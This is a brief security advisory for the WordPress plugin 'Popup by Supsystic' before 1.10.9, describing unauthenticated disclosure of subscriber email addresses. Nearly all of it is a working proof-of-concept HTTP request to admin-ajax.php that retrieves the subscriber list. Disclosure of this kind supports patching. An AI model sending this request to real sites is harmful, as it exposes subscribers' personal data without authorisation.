Popup by Supsystic < 1.10.9 - Unauthenticated Subscriber Email Addresses Disclosure

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Length: 104
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

page=subscribe&action=getListForTbl&reqType=ajax&search[text_like]=&_search=false&pl=pps&sidx=id&rows=10